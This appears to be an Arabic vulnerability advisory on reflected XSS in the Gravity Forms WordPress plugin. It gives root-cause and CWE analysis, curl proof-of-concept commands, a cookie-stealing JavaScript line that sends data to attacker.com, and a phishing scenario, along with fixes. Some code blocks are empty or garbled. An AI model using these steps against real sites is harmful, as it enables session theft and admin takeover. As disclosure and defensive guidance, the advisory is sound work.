السجل العام لـ Wordfence

الوصف

إضافة Gravity Forms لووردبريس (تم اختبارها حتى الإصدار 2.9.28) معرضة لثغرة برمجة نصية عبر المواقع (XSS) منعكسة غير مصادق عليها عبر معامل form_ids في إجراء AJAX الخاص بـ gform_get_config. توجد الثغرة لأن قيم form_ids المقدمة من المستخدم تنعكس حرفيًا في استجابة HTTP الخاصة بالخادم دون أي تعقيم أو ترميز أو تهريب للمخرجات. تُقدَّم الاستجابة مع ترويسة Content-Type: text/html; charset=UTF-8، مما يجعل المتصفح يحلل ويعرض المحتوى المنعكس كـ HTML، بما في ذلك أي عناصر سكربت محقونة.

يمكن لمهاجم غير مصادق استغلال هذه الثغرة لتنفيذ JavaScript تعسفي في سياق أصل موقع ووردبريس المستهدف. نظرًا لأن إجراء gform_get_config يتطلب config_nonce صالحًا، وهذا الـ nonce مضمّن علنًا في كود HTML المصدر لكل صفحة تحمّل نموذج Gravity Forms، يمكن للمهاجم الحصول بسهولة على nonce صالح عن طريق طلب أي صفحة عامة على الموقع المستهدف قبل بناء طلب الاستغلال.

يسمح الاستغلال الناجح للمهاجم بسرقة ملفات تعريف الارتباط الخاصة بالجلسات، وتنفيذ إجراءات نيابة عن المستخدمين المصادق عليهم (بما في ذلك مسؤولو ووردبريس)، وإعادة توجيه المستخدمين إلى مواقع ضارة، وتشويه محتوى الصفحات، أو إنشاء وصول دائم من خلال إنشاء حساب إداري.

تحليل السبب الجذري

نقطة النهاية المعرضة للخطر```

POST /wp-admin/admin-ajax.php

المعامل القابل للاستغلال

معامل args من نوع POST يقبل كائن JSON يحتوي على مصفوفة form_ids. تُستخدم القيم في هذه المصفوفة كمفاتيح كائنات في بنية استجابة JSON دون أي تعقيم:```json {"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

لماذا هذا قابل للاستغلال

1. لا يوجد تحقق من المدخلات: قيم form_ids لا يتم التحقق منها كأعداد صحيحة، ولا يتم تنظيفها أو تصفيتها. يقبل الخادم محتوى نصيًا عشوائيًا بما في ذلك وسوم HTML ومعالجات الأحداث.
2. لا يوجد ترميز للمخرجات: تنعكس قيم form_ids في نص الاستجابة دون ترميز كيانات HTML. تمر الأحرف مثل < و > و " و ' دون تعديل.
3. نوع محتوى HTML: يتم تقديم الاستجابة مع Content-Type: text/html; charset=UTF-8، مما يوجه المتصفح لتحليل نص الاستجابة كـ HTML. يتم إنشاء أي وسوم HTML داخل القيمة المنعكسة وعرضها بواسطة محلل HTML في المتصفح.
4. Nonce متاح للعموم: إن config_nonce المطلوب بواسطة إجراء gform_get_config مضمّن في كائن إعدادات JavaScript (gform_theme_config) على كل صفحة تحمّل نموذج Gravity Forms. هذا الـ nonce متطابق عبر جميع الصفحات وغير مرتبط بجلسة مستخدم محددة، مما يجعله سهل الحصول عليه من قبل المستخدمين غير المصادق عليهم.

تحليل CWE

هذه الثغرة هي نتيجة لعدة نقاط ضعف مساهمة تترابط معًا لإنتاج الحالة القابلة للاستغلال. بينما CWE-79 هو التصنيف الأساسي لأغراض الإبلاغ عن CVE، فإن السلسلة الكاملة توثق كيف تتراكم كل نقطة فشل لتمكين الاستغلال.

سلسلة نقاط الضعف```

CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS

CWE-116: الترميز أو الهروب غير الصحيح للمخرجات (الفشل التقني الأساسي)

الدور: ثغرة أساسية — السبب المباشر لحالة XSS.

عندما يقوم الخادم ببناء استجابة JSON التي تحتوي على قيم form_ids، فإنه لا يطبق ترميز كيانات HTML على المخرجات. الأحرف ذات المعنى الخاص في HTML (<, >, ", ', &) تمر دون تعديل إلى نص الاستجابة. دوال PHP مثل htmlspecialchars() أو esc_html() أو wp_json_encode() مع خيار JSON_HEX_TAG أو أي دوال ترميز مخرجات مكافئة لا يتم تطبيقها على قيم form_ids قبل كتابتها في الاستجابة.

الدليل: السلسلة الحرفية <svg onload=alert(document.domain)> تظهر في نص الاستجابة مطابقة حرفًا بحرف للإدخال، بدلاً من ظهورها بصيغة <svg onload=alert(document.domain)>.

CWE-838: ترميز غير مناسب لسياق المخرجات (تفاقمي)

الدور: تصعيد السياق — يحول مشكلة انعكاس البيانات إلى حقن كود قابل للتنفيذ.

يحتوي نص الاستجابة على بيانات منظمة بصيغة JSON ولكن يتم تقديمها مع Content-Type: text/html; charset=UTF-8. هذا الإعلان عن نوع المحتوى يوجه محلل HTML في المتصفح لمعالجة نص الاستجابة بالكامل كمستند HTML. إذا تم تقديم الاستجابة بصيغة application/json، فسيقوم المتصفح بعرض الاستجابة كنص عادي ولن يحدث أي تحليل HTML — سيتم عرض الوسوم المحقونة كنص حرفي بدلاً من إنشائها كعناصر DOM.

الدليل:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)

تم تأكيد أن هذا الـ nonce هو:

• مطابق عبر جميع الصفحات في الموقع المستهدف (الصفحة الرئيسية، صفحات النماذج، الصفحات غير المرتبطة بالنماذج)
• غير مرتبط بجلسة المستخدم (نفس القيمة تُرجع مع أو بدون ملفات تعريف الارتباط)
• لا يتغير لكل طلب (ثابت لفترات طويلة)

ترويسات الأمان الموجودة (غير كافية)

إثبات المفهوم

البيئة

الخطوة 1: الحصول على nonce صالح

اطلب أي صفحة في الموقع المستهدف تقوم بتحميل نموذج Gravity Forms واستخرج قيمة config_nonce:```bash curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

الخطوة 2: إرسال طلب الاستغلال

أرسل طلب POST إلى معالج AJAX الخاص بووردبريس مع قيمة form_ids مصمّمة تحتوي على حمولة XSS:```bash curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="

نص استجابة HTTP:```html

الرد:```html

جافاسكربت مفكوك الترميز:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

السيناريو 3: الاستيلاء على DOM للتصيد الاحتيالي

يمكن لـ XSS المنعكسة استبدال DOM الصفحة بالكامل بطبقة تصيد مقنعة (مثل صفحة تسجيل دخول مزيفة أو مطالبة بانتهاء الجلسة) لجمع بيانات الاعتماد مباشرة.

تدفق الهجوم```

┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘

2. ترميز المخرجات — استخدم wp_json_encode() مع علامات JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT عند بناء استجابة JSON لضمان ترميز الأحرف المهمة في HTML: ```php echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
   root@kitploit:~

3. تصحيح نوع المحتوى — قم بتعيين Content-Type للاستجابة إلى application/json بدلاً من text/html لجميع استجابات AJAX بصيغة JSON. يمنع هذا المتصفح من تحليل الاستجابة كـ HTML حتى لو كان المحتوى غير المعقّم منعكسًا: ```php header('Content-Type: application/json; charset=UTF-8');
   root@kitploit:~

4. نطاق Nonce — فكّر في ربط config_nonce بجلسة المستخدم أو تنفيذ تحديد معدل على توليد nonce لزيادة تكلفة الاستغلال الآلي.

لمسؤولي المواقع (تخفيف فوري)

1. جدار حماية تطبيقات الويب (WAF) — انشر قواعد WAF لكشف وحظر وسوم HTML في معامل args لطلبات POST إلى admin-ajax.php حيث action=gform_get_config
2. سياسة أمان المحتوى — نفّذ توجيه script-src تقييديًا لـ CSP (مثل script-src 'self') لمنع تنفيذ السكربتات المضمّنة حتى لو كانت منعكسة
3. راقب التحديثات — طبّق تصحيح Gravity Forms فور إصداره
4. دقق حسابات المسؤولين — راجع حسابات المسؤولين الحالية بحثًا عن أي إضافات غير مصرح بها

الجدول الزمني للإفصاح

المراجع

• توثيق أمان Gravity Forms
• [جهة اتصال أمان Gravity Forms](mailto:[email protected])
• CWE-79: تحييد غير صحيح للإدخال أثناء توليد صفحة الويب
• OWASP Cross-Site Scripting (XSS)
• واجهة AJAX API في ووردبريس — admin-ajax.php
• CVE-2023-2701 — ثغرة XSS سابقة في Gravity Forms (ناقل مختلف)
• CVE-2024-13377 — ثغرة XSS مخزنة سابقة في Gravity Forms عبر معامل alt (ناقل مختلف)

إخلاء مسؤولية

تم اكتشاف هذه الثغرة أثناء مهمة اختبار اختراق مصرح بها أُجريت بموجب بيان عمل موقّع مع إذن كتابي صريح. تم إجراء جميع الاختبارات ضمن النطاق المتفق عليه، وتم الإبلاغ عن النتائج للعميل فور اكتشافها. يتبع هذا الإفصاح ممارسات الإفصاح المسؤول. لم يتم الوصول إلى أي أنظمة غير مصرح بها، ولم يتم تسريب أي بيانات خارج نطاق التحقق المتحكم به من إثبات المفهوم.

اكتشفها: Anthony Cihan